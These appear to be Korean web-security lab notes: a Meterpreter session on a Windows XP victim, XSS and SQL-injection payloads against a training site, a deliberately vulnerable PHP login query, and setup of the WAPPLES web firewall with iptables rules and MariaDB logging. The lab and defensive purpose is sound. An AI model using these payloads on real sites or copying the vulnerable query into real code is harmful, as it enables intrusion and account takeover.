Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 268 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>exit          
exit

meterpreter > 

실습> WebTest 사이트에서 Reflected XSS을 찾아보기

Injection vector를 찾아서 확인하고 최종적으로 URL을 생성해서 naver.com 으로 점프시키면 된다.

변수명=<script>location.href="https://naver.com";</script>

실습> mywebsite 세팅

1. 웹페이지 설정
[root@webhacking ~]# yum -y install wget
[root@webhacking ~]# cd /var/www/html/
[root@webhacking html]# wget https://linuxmaster.net/website/mywebsite.tar.gz --no-check-certificate
[root@webhacking html]# tar xzf mywebsite.tar.gz
[root@webhacking html]# mysql -e "CREATE DATABASE mywebsite"
[root@webhacking html]# cd mywebsite
[root@webhacking mywebsite]# mysql mywebsite < mywebsite.sql

2. 접속
http://200.200.200.101/mywebsite/

실습> mywebsite 로 설정하고 Reflected XSS 찾기


[root@webhacking ~]# cd /var/www/html/
[root@webhacking html]# mkdir WebTest
[root@webhacking html]# mv * WebTest/
[root@webhacking html]# mv WebTest/mywebsite/* .

실습> 자바스크립트 함수

[root@webhacking js]# pwd
/var/www/html/js

[root@webhacking js]# cat jsFunction.html
<html>
 <head>
   <meta charset="utf8">
   <title> ::: 자바스크립트 함수 ::: </title>
 </head>

 <body>
 <script language="JavaScript">
 <!--
    /*
     * 함수 정의
     * function 함수명(매개변수)
     * {
     *     실행문
     * }
     *
     * 함수 호출
     * 함수명();
     * 함수명(인수);
     */
    function myFunc()
    {
        var i = 1;
        while(i <= 5)
        {
            // alert(i);
            document.write(i + "<br>");
            i++;
        }
    }

    myFunc();

 //-->
 </script>

 </body>
</html>

실습> reflected XSS

반사된 XSS

서버에 전송되는 변수에 저장하고 전송한다.
http://200.200.200.101/useridcheck.html?useridcheck=1&userid=<script>alert("XSS");</script>

취약점 종류: Relected XSS
취약한 URL: http://200.200.200.101/useridcheck.html?useridcheck=1&userid=<script>location.href="https://naver.com";</script>
취약한 파라미터: userid
공격 코드: <script>location.href="악성URL";</script>
공격 위치: 회원가입 -> 중복확인
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<script>location.href="https://naver.com";</script>


function gopage(page)
{ 
    // delete.html?id=bbs2&no=15
    var page = page + "?id=" + "bbs1" + "&no=" + "17";}alert("xss"); function a() { //";

    var str  = "17xss" + "번 게시글을 삭제하겠습니까 ?";
    var yesno = confirm(str);
    /*

취약점 종류: Relected XSS
취약한 URL: http://200.200.200.101/?id=bbs1&m=read&no=17%22;}location.href=%22https://naver.com%22;%20function%20a()%20{%20//
취약한 파라미터: no
공격 코드: ";}location.href="악성URL"; function a(){//
공격 위치: 글보기

실습> 웹 방화벽 와플즈

WAPPLES WAF(Web Application Firewall) 제약 조건
- 카페, 블로그, 유튜브 등 설치, 세팅, etc ... 모든 것들을 외부 매체에 오픈하지 않기!
- WAPPLES-5.0.0.13_KH.ova 파일을 외부에 공유하지 않기!
- WAPPLES 인증서를 외부에 공유하지 않기!
- WAPPLES 로그인 비밀번호를 외부에 공유하지 않기!

실습> VirtualBox 설치

공식 사이트 : https://www.virtualbox.org/

VMware vs Virtual Box: 가상화 프로그램

VMware : VMware 사에서 나온 가상화 프로그램
VMware, VMware Player ...
http://www.vmware.com
https://www.vmware.com/kr.html

VirtualBox : 
VMware와 동일한 가상화 프로그램으로 Oracle 사에서 만들었고 현재까지는 무료로 사용할 수 있다.
실무에서도 VMware 처럼 많이 사용된다. 

실습> VirtualBox 호스트키 변경

VirtualBox가 설치되면 호스트키를 변경한다.
기본 호스트키 : Right Contol

도구 > 환경설정 > 입력 > 가상머신 탭
호스트 키 조합 : Right Control -> Ctrl + Alt 변경 (클릭해서 Ctrl + Alt를 누르면 변경)


웹 방화벽이 없는 네트워크 환경 VS 웹 방화벽이 있는 네트워크 환경


웹 방화벽이 없는 네트워크 환경
                               +-- [Server1]  server1.kr
                               |
[Internet] ---------- [SW]-----+-- [Server2]  server2.kr
                               |
                               +-- [Server3]  server3.kr
		

웹 방화벽이 있는 네트워크 환경
- Inline 방식으로 설정한 경우
                               +-- [Server1]  server1.kr
                               |
[Internet] -----[WAF]---[SW]---+-- [Server2]  server2.kr
                               |
                               +-- [Server3]  server3.kr


웹 방화벽이 있는 네트워크 환경 
- Proxy 방식으로 설정한 경우
                               +-- [Server1]  <---+
                               | B                |
[Internet] ---------- [SW]-----+-- [Server2]  <---+-----------+
                               | B                |           |
                               +-- [Server3]  <---+-----------+-----------+
                               | B                |           |           |
                (Bridged)  tp0 +-- [Wapples] server1.kr, server2.kr, server3.kr
                                 B    | 
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트

실습> WAPPLES 설정하기

1. 가상 시스템 가져오기 
다운로드 받은 WAPPLES-5.0.0.13_KH.ova 파일을 선택한다.

메뉴: 파일 > 가상시스템 가져오기 > 파일 > WAPPLES-5.0.0.13_KH.ova 선택

RAM : 4096 -> 2048 로 변경
MAC 주소 정책 : 모든 네트워크 어댑터의 새 MAC 주소 생성을 선택

Finish 버튼을 클릭한다.

2. 네트워크 설정
가상머신 생성이 완료되면 네트워크를 선택해서 어댑터1만 있으므로 어댑터2를 추가한다.
참고로 브릿지의 MAC주소는 각자 다를 수 있다.
어댑터1 : 브리지           (MAC 주소 : 08:00:27:CB:D2:CD)  080027CBD2CD 
어댑터2 : 호스트 전용 어댑터 (MAC 주소 : 08:00:27:85:BC:F6) 08002785BCF6

3. WAPPLES 부팅
설정이 완료되면 부팅을 한다.

4. WAPPLES 로그인 
WAPPLES가 부팅되면 시스템에 로그인 한다.
penta login: root   
password:   <-- 비번 입력

penta 프롬프트가 뜨면 enable 명령어로 관리자 모드로 변경한다.
penta> enable
password:   <-- 비번 입력

5. 인터페이스 설정
인터페이스를 설정한다.
처음에 인터페이스는 eth0, eth1로 설정되어 있지만 eth0, eth1의 이름을 tp0, ctl0으로 변경해야 한다.
인터페이스를 변경하는 명령어가 udev-init 이라는 명령어다.

adapter1 : Briged            (MAC address: 08:00:27:CB:D2:CD)  080027CBD2CD  <-- eth1 -> tp0
adapter2 : Host only adapter (MAC address: 08:00:27:85:BC:F6)  08002785BCF6  <-- eth0 -> ctl0

conf t
network
udev-init
13) 번 Udev Interface Setting 메뉴를 선택한다.

tp0, ctl0을 설정한 후 저장한 다음 서버를 재부팅한다.
Name : eth1     Mac Address : 08:00:27:cb:d2:cd
Do you want to change? (m:modify, d:delete) : m  <-- 변경할 것이므로 m을 입력하고 엔터
Interface name change? (y) : y  <-- 변경할 것이므로 y를 입력하고 엔터
Input new interface Name: tp0   <-- tp0을 입력하고 엔터
Mac address name change?(y) :   <-- 변경하지 않으므로 아무것도 입력하지 않고 엔터
Mac address is not changed.
Name : eth0     Mac Address : 08:00:27:85:bc:f6
Do you want to change? (m:modify, d:delete) : m  <-- 변경할 것이므로 m을 입력하고 엔터
Interface name change? (y) : y  <-- 변경할 것이므로 y를 입력하고 엔터
Input new interface Name: ctl0   <-- ctl0을 입력하고 엔터 
Mac address name change?(y) :   <-- 변경하지 않으므로 아무것도 입력하지 않고 엔터
Mac address is not changed.
new udev
==================================================
Name : tp0      Mac Address : 08:00:27:2C:F6:B9   <-- Briged 로 설정되어 있는 어댑터
Name : ctl0     Mac Address : 08:00:27:04:76:01   <-- Host only 로 설정되어 있는 어댑터
==================================================
Do you want to save the changes? (y) y  <-- 변경할 것이므로 y를 입력하고 엔터
The udev file has been successfully updated.

Rebooting is required to appy the changes.
Do you want to reboot now?(y or n) y <-- 변경할 것이므로 y를 입력하고 엔터

서버가 부팅된다. 

6. 네트워크 설정
설정이 완료되고 WAPPLES가 부팅되면 다시 시스템에 로그인 한다.
penta login: root   
password:   <-- 비번 입력
penta> enable
password:   <-- 비번 입력

conf t
network

 : 
- space : 다음 페이지
- Shift + PageUp, Shift + PageDown : 콘솔 화면 위, 아래로 이동
sh link all를 이용해서 ctl0, tp0이 Down으로 설정되어 있는 것을 확인한다.
sh ?
sh link ?
sh link all ?
sh link all


인터페이스 UP
ctl0, tp0를 Down(sh) -> Up(no sh)으로 변경해서 인터페이스를 활성화 한다.
sh link all
link-status set ctl0 up
link-status set tp0 up

관리 포트 IP 주소 설정
ctl0 인터페이스를 선택하고 설정한다.
IP주소 대역은 모두 공통으로 설정한다.
link ctl0
if add 192.168.56.102/24 192.168.56.255
sh if 1
sh if all
exit

SSH 접속
여기까지 설정하면 SSH로 터미널로 로그인이 가능하다.
다음 설정부터 SSH로 접속해서 설정한다.

실습> SSH 접속을 참고한다.

서비스 포트 IP 주소 설정
tp0 인터페이스를 선택하고 설정한다.
IP주소 대역은 자신의 네트워크 환경 Bridge 대역의 IP 주소로 설정하므로 모두 다르게 설정한다.
Host OS에서 cmd에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.

여기서는 자신에게 부여된 IP주소(192.168.20.11 ~ 30)로 설정한다.
강사 IP주소: 192.168.20.41

conf t
network
link tp0  <-- 인터페이스 선택
if add 192.168.20.41/24 192.168.20.255 <-- IP주소 설정
sh if 1
sh if all
exit

브릿지 설정
sh bridge  <-- br0 
bridge add br0 tp0  
sh bridge  <-- br0  tp0 

브릿지 설정 전: br0  으로 설정되어 있다.
penta(config-network)# sh bridge
------------------------------------------
Bridge Nic Info
br0  
------------------------------------------
penta(config-network)#

브릿지 설정 후: br0 tp0 으로 설정되어 있다.
penta(config-network)# sh bridge
------------------------------------------
Bridge Nic Info
br0  tp0
------------------------------------------
penta(config-network)#

게이트웨이 설정
여기서는 자신에게 부여된 IP 대역의 Gateway(192.168.20.1)로 설정한다.
Gateway의 IP주소는 각자 다르므로 자신의 네트워크를 확인하고 설정한다.
Host OS에서 cmd에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.
사설 네트워크 주소
10.0.0.0 ~ 10.255.255.255
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255

sh rt ipv4 all
rt add ipv4 default 192.168.20.1 tp0
sh rt ipv4 all
rt del ipv4 1  <-- 삭제할 경우
rt add ipv4 default 192.168.20.1 tp0
save configuration  <-- 인터페이스에 지정한 IP주소와 게이트웨이 설정을 저장한다.

penta(config-network)# sh rt ipv4 all
ROUTING INFO
--------------------------------------------------------------------------------
INDEX DESTINATION         GATEWAY             GENMASK             Iface
--------------------------------------------------------------------------------
1     default             192.168.20.1        0.0.0.0             tp0
2     192.168.20.0        0.0.0.0             255.255.255.0       tp0
3     192.168.56.0        0.0.0.0             255.255.255.0       ctl0

exit
bypass
show bypass
sw-bypass set off
save configuration

실습> IE 실행 설정

윈도우10/11이 변경이 되서 ieexplorer가 Edge와 통합 되었기에 이를 설정해야 한다.

실습> WAPPLES 웹 로그인

검색 -> ieexplorer를 검색해서 실행한다.
참고로 WAPPLES 웹로그인은 인터넷 익스플로러만 접속이 가능하다.
http://192.168.56.102/

화면에 나온 시작버튼을 클릭한다.

아이디: admin
비밀번호:  <-- 비밀번호를 입력한다.

실습> 인증서 변경하기

WAPPLES 에 로그인을 하면 라이센스가 만료되었기 때문에 새롭게 배포한 새 라이센스 파일로 인증서를 업데이트 해야한다.

환경설정 > 시스템 > 라이센스

업로드 후 검증하면 라이센스 기간이 2022-05-02 ~ 2023-05-29 업데이트가 된다.

저장버튼을 클릭한다.

실습> 웹서버를 WAF 안으로 넣기

1. 네트워크 구조
Wapples: 192.168.20.41        <-- 강사 Wapples
Victim Server1: 192.168.20.42 <-- 강사 Victim 서버

                                 B 192.168.20.42
[Internet] ---------- [SW]-----+-- [Server1] <---+
                               |                 |        
                (Bridged)  tp0 +-- [Wapples] ----+
                                 B 192.168.20.41   
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트

Host OS에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.

2. 전체 IP설정 정보
WAF(Web Application Firewall)
- tp0  : 192.168.20.41/24   <-- 각자 IP주소가 다르다.
- ctl0 : 192.168.56.102/24  <-- 모두 같다.

3. Victim WEB Server 설정
Victim WEB Server webtest를 브릿지 대역의 IP주소로 변경한다.
브릿지 대역은 서로 각자 다를  있기 때문에 자신의 IP주소 대역으로 설정한다.
- 200.200.200.101 ->  192.168.20.42 (각자 부여받은 192.168.20.50 ~ 70 중에서 자신의 것으로 설정한다.)

# nmtui
IPv4 CONFIGURATION: Manual
Addresses: 192.168.20.42   <-- 자신에게 부여받은 IP주소로 설정한다.
GateWay: 192.168.20.1
DNS servers: 168.126.63.1
[x] Automatically connect

# systemctl restart network
# ip a

# ping -c 4 8.8.8.8

4. WAF 설정 확인
WAF로 IP주소와 게이트웨이 정보를 확인한다.

penta(config-network)# sh rt ipv4 all
------ ROUTING INFO
--------------------------------------------------------------------------------
INDEX DESTINATION         GATEWAY             GENMASK             Iface
--------------------------------------------------------------------------------
1     default             192.168.20.1        0.0.0.0             tp0
2     192.168.20.0        0.0.0.0             255.255.255.0       tp0
3     192.168.56.0        0.0.0.0             255.255.255.0       ctl0
penta(config-network)# sh if tp0 all
------ IF INFO
--------------------------------------------------------------------------------
IF INDEX     : 1
IF ADDR      : 192.168.20.41/24
IF ADDR(IPv4): 192.168.20.41/24
IF MASK      : 255.255.255.0
IF BRD ADDR  : 192.168.20.255
IF FLAG      : FIRST
--------------------------------------------------------------------------------
IF INDEX     : 2
IF ADDR      : fe80::a00:27ff:fecb:d2cd/64
IF ADDR(IPv6): fe80::a00:27ff:fecb:d2cd/64
IF MASK      : ffff:ffff:ffff:ffff::
penta(config-network)# sh if ctl0 all
------ IF INFO
--------------------------------------------------------------------------------
IF INDEX     : 1
IF ADDR      : 192.168.56.102/24
IF ADDR(IPv4): 192.168.56.102/24
IF MASK      : 255.255.255.0
IF BRD ADDR  : 192.168.56.255
IF FLAG      : FIRST
--------------------------------------------------------------------------------
IF INDEX     : 2
IF ADDR      : fe80::a00:27ff:fe85:bcf6/64
IF ADDR(IPv6): fe80::a00:27ff:fe85:bcf6/64
IF MASK      : ffff:ffff:ffff:ffff::

5. Proxy 설정
192.168.20.41: WAPPLES
192.168.20.42: WebTest

메뉴에서 마법사를 클릭한다.

Step 1 of 9 
다음을 클릭한다.

Step 2 of 9 
인증서 설정
인증서 부분은 이미 위에서 설정했기 때문에 다음을 클릭한다.

Step 3 of 9 
웹서버 선택
새로운 웹서버 추가를 선택하고 다음을 클릭한다.

Step 4는 없고 그냥 5로 간다.

Step 5 of 9 
Proxy 모드 설정
Proxy 모드를 선택하고 다음을 클릭한다.

Step 6 of 9 
서비스 네트워크 설정
Proxy IP: 192.168.20.41  <-- 각자 자신이 설정한 Proxy IP주소(tp0)를 설정한다.
Port Port: 80            <-- 모두 동일하게 설정한다.
Gateway: 192.168.20.1    <-- 각자 자신의 Gateway IP주소를 설정한다.
Netmask: 255.255.255.0   <-- 각자 자신의 네트워크의 넷마스크를 설정한다.

설정을 완료한  다음을 클릭한다.

Step 7 of 9 
 서버 IP 설정
 서버 IP: 192.168.20.42   <-- 각자 자신이 설정한 WebTest의 IP주소를 설정한다.
 서버 Port: 80            <-- 모두 동일하게 설정한다.

설정을 완료한  다음을 클릭한다.

Step 8 of 9 
 사이트 설정
 사이트 이름: 192.168.20.42  <-- 각자 자신이 설정한 WebTest IP주소를 설정한다.
 사이트 설명: WebTest        <-- 각자 마음대로 설정한다.
정책: 0. 탐지없이 통과         <-- 탐지없이 통과로 설정한다.

설정을 완료한  다음을 클릭한다.

Step 9 of 9 
전체 요약
마지막에는 설정한 전체 요약된 내용이 출력되고 확인한  완료 버튼을 클릭해서 설정을 완료한다.

 서버
IP: 192.168.20.42:80
Mode: Proxy Mode
Proxy IP: 192.168.20.41:80
Gateway: 192.168.20.1
Netmask: 255.255.255.0

웹서버 
IP: 192.168.20.42
설명:WebTest
정책: 0.탐지없이 통과

>>> 설정 후에는 얼마든지 변경이 가능하다. <<<
위치는 [환경설정] -> [탐지] -> [웹서버]
6. 
웹 사이트 접속
설정 후에 Proxy IP주소로 접속하면 WebTest로 접속이 되면 성공!!!
이때는 WAF을 거쳐서 WebTest로 접속하는 것이다.
처음에 접속할 때 시간이 좀 걸린다. 접속 후에는 바로 접속한다.

WAF(Web Application Firewall: 웹방화벽)
WAF(192.168.20.41)과 Victim의 IP주소(192.168.20.42) 에 접속했을 때 WebTests가 뜨면 성공!!!
http://192.168.20.41/ : 간접 접속 (WAF를 거쳤다가 웹서버로 들어가는 것이다.)
http://192.168.20.42/ : 직접 접속 (WebTest 웹서버로 바로 들어가는 것이다.)

실습> 웹서버로 직접 접속 금지하기

웹서버를 WAF 안으로 넣었기 때문에 웹사이트의 직접 접속은 접근할 수 없도록 금지한다.


--------------------------------> X
                                 B 192.168.20.42
[Internet] ---------- [SW]-----+-- [Server1]   <---+
                               |              ---+ |        
--------------------------+    |                 | |
                          | O  |        response | | request
                          |    |                 | |
                          v    |             <---+ |
                (Bridged)  tp0 +-- [Wapples] ------+
                                 B 192.168.20.41   
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트


1. 직접 접속 금지
iptables 로 방화벽을 설정할 때 자신에게 부여 받은 IP주소로 설정한다.
# systemctl stop firewalld
# systemctl disable firewalld
# yum -y install iptables-services
# systemctl enable iptables

간접 접속 체크 룰을 설정한다.
# iptables -A INPUT -s 192.168.20.41 -d 192.168.20.42 -m multiport -p tcp --dport 80,443 -j ACCEPT

직접 접속 체크 룰을 설정한다.
WAF에서 들어오는 패킷만 허용하고 직접 192.168.20.42로 들어오는 패킷은 거부한다.
# iptables -A INPUT -d 192.168.20.42 -m multiport -p tcp --dport 80,443 -j DROP

# iptables -Z
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 27 packets, 1745 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

2. 접속 시도
각자 설정된 자신의 IP주소로 접속한다.

# iptables -Z INPUT
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 6 packets, 364 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

아파치 로그를 모니터링 한다.
# > /var/log/httpd/access_log
# tail -f /var/log/httpd/access_log

WAF를 통해서 간접 접속을 한다.
http://192.168.20.41   <-- 접속이 허용된다.

# tail -f /var/log/httpd/access_log
192.168.20.41 - - [04/Apr/2023:00:35:18 +0900] "GET / HTTP/1.1" 200 4446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
192.168.20.41 - - [04/Apr/2023:00:35:24 +0900] "GET /?id=bbs1&m=list HTTP/1.1" 200 3758 "http://192.168.20.41/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
192.168.20.41 - - [04/Apr/2023:00:35:24 +0900] "GET /images/file.png HTTP/1.1" 200 12159 "http://192.168.20.41/?id=bbs1&m=list" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"

접속한 것을 패킷을 확인한다.
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 10 packets, 604 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    7  1398 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

직접 접속을 하면 방화벽에 의해서 접속이 거부가 된다.
http://192.168.20.42  <-- 접속 거부로 인해서 접속이 거부된다.

# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 15 packets, 920 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   10  1518 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
   27  1404 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

# iptables-save > /etc/sysconfig/iptables


패킷 흐름 확인
tcpdump로 패킷의 흐름을 확인한다.

http://192.168.20.41/  <-- 접속 가능   O  (방화벽에 ACCEPT로 설정되어 있기 때문이다.)  
http://192.168.20.42/  <-- 접속 불가능 X  (방화벽에 DROP으로 설정되어 있기 때문이다.)

    Host OS                        iptables      WebTest
[192.168.20.15]---------------> X [Firewall] [192.168.20.42]
                   request      DROP               

    Host OS                         WAF                         iptables    WebTest
[192.168.20.15]--------------->[192.168.20.41]-------------> O [Firewall] [192.168.20.42]
                   request                        request   ACCEPT

    Host OS                         WAF                                     WebTest
[192.168.20.15]<---------------[192.168.20.41]<------------- O [Firewall] [192.168.20.42]
                   response                      response   ACCEPT

실습> 와플즈 정책 설정하기


[메뉴] > [정책설정]

1. 정책 설정하기
기본정책은 0 ~ 6까지 7개를 기본적으로 제공한다. (원본)
웹사이트를 추가할 때 기본으로 제공되는 정책 밑에 두지말고 복사해서 그 밑에 둔다. (복사본)

0 ~ 6 까지 : 펜타시큐리티에서 제공되는 정책
정책 밑에 두면 대응을 수정할 없기 때문에 복사를 해줘야 수정이 가능하다.
복사한 정책 밑에 탐지하고자 하는 호스트를 등록한다.

2. 정책 추가 
왼쪽 아이콘을 클릭한다.

추가할 정책명을 입력해주세요.
- WebHackTest 정책 추가

사용할 기반 정책을 선택하세요.
- 4.고급 보안 정책을 추가함.

웹사이트 추가
- 웹사이트가 없을 때 추가한다.
- 마법사를 통해서 생성했기 때문에 웹사이트 있어서 추가할 필요가 없다.
- IP주소를 Proxy의 IP주소로 설정한다.
- 정책 추가 옆에 웹사이트 추가 아이콘을 클릭한다.

- e.g.) Proxy 방식으로 여러 사이트를 설정한 경우

                               +-- [Server1]  <---+
                               | B                |
[Internet] ---------- [SW]-----+-- [Server2]  <---+-----------+
                               | B                |           |
                               +-- [Server3]  <---+-----------+-----------+
                               | B                |           |           |
                (Bridged)  tp0 +-- [Wapples] server1.kr, server2.kr, server3.kr
                                 B    | 
                                 [관리포트] ctl0 Host only (192.168.56.102)


Host명: 192.168.20.41
Port: 80
서브디렉터리: X
설명: 192.168.20.41

http://192.168.20.41/ 로 접속한다.

WebTest 페이지가 보여지면 WAF를 통과해서 192.168.20.42로 접속되는 것이다.

실습> SQLi 테스트

SQLi 를 테스트 한다.

1. SQLi 공격 시도
LOGIN
ID	: ' or 1=1#
PASSWORD: 1

2. 탐지 
4.고급 보안 정책 에서는 SQLi 이 400 Bad Request 로 설정되어 있다.
그러므로 SQLi 시도 후에 400 Bad Request 메세지가 출력되고 멈춘다.
400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).

3. 대응 설정 변경
4.고급 보안 정책 에서는 SQLi 이 400 Bad Request 의 대응 설정을
에러코드: 400 Bad Request -> 페이지 이동: https://www.naver.com  으로 변경한다.
설정 완료 -> 저장 -> 메모기록 아니오 를 클릭한다.

4. SQLi 공격 시도
LOGIN
ID	: ' or 1=1#
PASSWORD: 1

공격이 탐지되면 WAF가 네이버로 이동시킨다.

실습> Stored XSS 탐지로 설정된 경우


1. 정책
o WebHackTest 
  |
  +-- 192.168.20.41 (각자 자신의 Proxy IP주소 설정)

룰 이름: Cross Site Scripting 
탐지: 스크립트 허용 안 함
대응: 에러코드 400 Request

2. 공격 게시글 작성
로그인해서 게시판에서 아래처럼 글을 입력한다.

이 름: 관리자
비밀번호: 111111
이메일:
제 목: xss
HTML적용: 적용
내 용: 
안녕하세요.

<script> alert("xss"); </script>

등록 버튼을 누른다.

3. 공격 탐지
WAF에서 Stored XSS 을 탐지해서 아래처럼 에러코드가 전송되고 웹페이지 전송이 중지된다.

400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).

실습> Stored XSS 탐지로 설정되지 않은 경우

1. 정책
o WebHackTest 
  |
  +-- 192.168.20.41 (각자 자신의 Proxy IP주소 설정)

룰 이름: Cross Site Scripting 
탐지: 탐지 안 함   <== 이 부분이 중요하다!!!
대응: 에러코드 400 Request

2. 공격 게시글 작성
로그인해서 게시판에서 아래처럼 글을 입력한다.

이 름: 관리자
비밀번호: 111111
이메일:
제 목: xss
HTML적용: 적용
내 용: 
안녕하세요.

<script> alert("xss"); </script>

등록 버튼을 누른다.

3. 공격 탐지
WAF에서 탐지하지 않으므로 Stored XSS 의 코드가 서버의 웹페이지로 전송이 되고 DB에 저장된다. 

4. 게시글 확인
Stored XSS 으로 저장된 게시글을 확인하면 alert 창이 뜬다.

실습> SQLi 을 로그를 통해 좀 더 쉽게 분석하기

mariadb SQL 쿼리의 로그가 기록되게 설정한다.
general_log : 로그기록 On/Off
general_log_file : 로그가 기록되는 경로

MariaDB [(none)]> show variables like 'general_log%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | OFF            |
| general_log_file | webhacking.log |
+------------------+----------------+
2 rows in set (0.00 sec)

영구적으로 로그를 확인하기 위해서는 /etc/my.cnf 파일을 수정한다.
-- /etc/my.cnf --
[mysqld]
 :
general_log = 1
log = /var/lib/mysql/webhacking.log
-- /etc/my.cnf --

mariadb를 재시작한다.
# systemctl restart mariadb

general_log 를 확인한다.
# mysql
MariaDB [(none)]> SHOW VARIABLES LIKE 'general_log%';
+------------------+-------------------------------+
| Variable_name    | Value                         |
+------------------+-------------------------------+
| general_log      | ON                            |
| general_log_file | /var/lib/mysql/webhacking.log |
+------------------+-------------------------------+
2 rows in set (0.00 sec)

로그 파일을 모니터링한다.
# tail -f /var/lib/mysql/webhacking.log

실습> SQLi 로그인 테스트

1. 로그 모니터링
로그 파일을 모니터링한다.
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
로그인 페이지에서 로그인을 시도한다.
LOGIN
ID: admin
PASSWORD: 222222

-- login_check.php --
$strSQL="SELECT * FROM member WHERE u_id='$id' and u_pass='$pw'"; 
-- login_check.php --

로그에는 아래처럼 기록된다.
221029 13:02:18	    5 Connect	webadmin@localhost as anonymous on 
		    5 Query	SET NAMES utf8
		    5 Init DB	WebTest
		    5 Query	SELECT * FROM member WHERE u_id='admin' and u_pass='222222'
		    5 Quit	

3. 재로그인
로그아웃을 하고 다시 로그인을 시도한다.
LOGIN
ID: ' or 1=1#  <-- 1
PASSWORD: 1    <-- 2

221029 13:07:15	    6 Connect	webadmin@localhost as anonymous on 
		    6 Query	SET NAMES utf8
		    6 Init DB	WebTest
		    6 Query	SELECT * FROM member WHERE u_id='' or 1=1#' and u_pass='1'
		    6 Quit	                                 ~~~~~~~~~              ~
                                                         1                  2

>>> 여기부터 <<<

4. 소스수정
여러 줄로 되어 있게 소스코드를 수정한다.

-- login_check.php --
    $strSQL="SELECT * FROM member 
             WHERE 
             u_id='$id' 
             and 
             u_pass='$pw'";
-- login_check.php --

5. 로그인
로그아웃을 하고 다시 로그인을 시도한다.
LOGIN
ID: ' or 1=1#  <-- 1
PASSWORD: 1    <-- 2

로그인 실패

로그인 실패의 이유는 아래 분석을 참고한다.
221029 13:14:58	    8 Connect	webadmin@localhost as anonymous on 
		    8 Query	SET NAMES utf8
		    8 Init DB	WebTest
		    8 Query	SELECT * FROM member 
             WHERE 
             u_id='' or 1=1#' 
             and   ~~~~~~~~~  <-- 1
             u_pass='1'
		    8 Quit	 ~  <-- 2

MariaDB [WebTest]> SELECT * FROM member 
    ->              WHERE 
    ->              u_id='' or 1=1#' 
    ->              and 
    ->              u_pass='1'
    -> 
    -> ;
Empty set (0.00 sec)

MariaDB [WebTest]> SELECT * FROM member
    ->             WHERE
    ->             TRUE
    ->             AND
    ->             u_pass='1';
Empty set (0.00 sec)

MariaDB [WebTest]> SELECT * FROM member
    ->             WHERE
    ->             TRUE
    ->             AND
    ->             FALSE;
Empty set (0.00 sec)

MariaDB [WebTest]> SELECT * FROM member
    ->             WHERE
    ->             FALSE;
Empty set (0.00 sec)

LOGIN
ID: ' or 1=1/*  <-- 1
PASSWORD: */    <-- 2

로그인 성공

로그인 성공의 이유는 아래 분석을 참고한다.
221029 13:22:49	   10 Connect	webadmin@localhost as anonymous on 
		   10 Query	SET NAMES utf8
		   10 Init DB	WebTest
		   10 Query	SELECT * FROM member 
             WHERE 
             u_id='' or 1=1/*' 
             and           ~~~ <-- 여기부터 끝까지 주석
             u_pass='*/#' 
		   10 Quit	

MariaDB [WebTest]> SELECT * FROM member
    ->             WHERE
    ->             TRUE;
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
| no | u_id   | u_pass | u_name    | nickname  | age  | email            | reg_date            |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
|  1 | tester | 111111 | 테스터    | 테스터    |    3 | tester@naver.com | 2022-10-28 22:28:11 |
|  2 | admin  | 222222 | 관리자    | 관리자    |   30 | admin@naver.com  | 2022-10-28 22:28:47 |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
2 rows in set (0.00 sec)
profile
정보보안 전문가

0개의 댓글